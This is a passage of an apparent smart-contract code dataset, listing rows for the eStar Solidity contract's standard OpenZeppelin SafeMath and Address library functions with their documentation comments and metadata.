} | 1,322 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
2560,
2697
]
} | 1,323 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
3188,
3471
]
} | 1,324 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
3931,
4066
]
} | 1,325 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/ | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
4546,
4717
]
} | 1,326 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
606,
1230
]
} | 1,327 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
| /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4 | {
"func_code_index": [
2160,
2562
]
} | 1,328 |
eStar | eStar.sol | 0x39b00bdd39c4a1e6743a3f904816778db7e26904 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
